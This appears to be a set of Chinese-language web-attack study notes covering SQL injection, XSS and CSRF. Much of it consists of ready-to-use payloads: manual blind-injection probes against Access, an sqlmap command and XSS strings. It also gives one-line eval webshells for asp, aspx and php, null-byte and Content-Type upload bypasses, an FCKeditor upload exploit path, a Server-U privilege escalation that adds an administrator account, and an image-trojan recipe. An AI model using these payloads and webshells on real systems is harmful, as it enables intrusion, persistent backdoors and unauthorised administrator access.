SQL注入原理
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
相关函数
mid()—从文本中提取字符串1
SELECT MID(column_name, start[, length]) FROM table_name;
column_name: 字段名,必需。
start: 查询的开始位置(起始值为1)
length: 可选。返回需要查询的字符数。如何忽略,则返回剩余文本。
limit()—返回指定行之前数据1
select * from user limit m, n;
concat、concat_ws、group_concat
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL,而concat_ws不会
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
count()—统计字符个数
rand()—产生0-1随机数
floor()—乡下取整
group by—依据我们想要的规则对结果进行分组
length()—返回字符串的长度
Substr()—截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)
Ascii()—返回字符串的ascii码
报错注入
SQL注入原理-手工注入access
- 1.通过'、and 1=1、and 1=2来判断是否存在注入点
- 2.通过 and exists(select * from admin) 猜表名
- 3.通过 and exists(select user from admin) 猜列名
- 4.通过 and (select top 1 len(user) from admin ) > 1 来猜解字段长度
- 5.通过 and (select top 1 asc(mid(user,1,1)) from admin) > 97 判断字段名
SQL注入原理-手工联合查询注入
PHP过滤函数
- mysql_real_escape_string()转义字符串中特殊字符,可以通过编码绕过如url编码
 
- 2.stripslashes()在默认情况下,PHP会对所有的GET,POST和COOKIE数据自动进行addslashes(),addslashes()函数返回在预定义字符前添加反斜杠的字符串,就是将“’”变成“\’”,而stripslashes()是删除有addslashes()函数添加的反斜杠。
- 3.is_numeric()函数检查只是否为数字
Sqlmap破解access数据库
| 1 | sqlmap -u http://xxx.asp?id=1 # -u扫描注入点 | 
CSRF利用管理员权限创建后台管理账户
通过普通用户的存储型XSS实现创建管理员账户的CSRF利用
- 在用户的个人中心中找找可以添加信息的区域,如在物品简介页面直接插入script,如加入可以提升权限的,等待管理员点击页面 
反射型XSS
在XSS的攻击方式中需要欺骗用户去点击链接才能触发的XSS称为反射型XSS。
存储型XSS
寻找留言板等交互信息处。对于存在文本框输入长度限制的可以使用:
- 插入*/</script>
 
- 插入
- 插入<script>alert(/XSS/)/*
 
- 插入
一句话木马
连接一句话,需要将其插入到一个正常的网站文件中,如asp插入到asp文件中。
asp: <%eval request("pass") %>
aspx: <%@ Page Language="Jscript" %><% eval(Request.Item["pass"],"unsafe"); %>
php: <?php eval($_POST['pass']); ?>
利用0x00截断上传Webshell
假设文件上传路径为http://xx/upload/xx.php.jpg 利用burpsuite抓包后将xx.php后面的.即16进制的2e改成00。因为在上传的时候,当文件系统读到[0x00]时,会认为文件已经结束,从而写入php
绕过前台脚本检测拓展名
burpsuite 抓包该后缀名
apache解析漏洞上传shell
apache2.x遇到不识别的拓展名会向前一次识别,直到遇到能识别的拓展名。
绕过Content——Type检测文件类型上传
Burpsuite截包改类型如application/octetstream改为image/gif
SQL SERVER 局部变量 “@”开头的标识符表示变量(局部变量),该变量必须先用DECLARE命令声明后才能使用
Fckeditor2.4.2 编辑器上传漏洞
- 访问http://xxx/fckeditor,如出现403进制访问,说明目录存在
 
- 访问
- 访问 http://xxx/fckeditor/_whatsnew.html查看编辑器版本
 
- 访问 
- 访问 http://xxx/fckeditor/editor/filemanager/brower/default/browser.html?type=Image&connectors/asp/connector.asp上传图片马,用0x00截断
 
- 访问 
绕过服务器拓展名检测
改成未识别的后缀名,绕过黑白名单
server-u提权
上传webshell,检测端口netstat -an 查看是否有默认端口号43985,有的话说明存在server-u服务,使用命令cmd/c net user aaa 123 /add &net localgroup administrator aaa /add,然后远程连接
1433端口–> mssql数据库
图片木马
对于在服务器端对文件内容检测的,可以
- 1.copy xx.jpg/b+ shell.php/a webshell.jpg
- 2.webshell.jpg改名为webshell.jpg.php,然后上传
- 菜刀连接
 
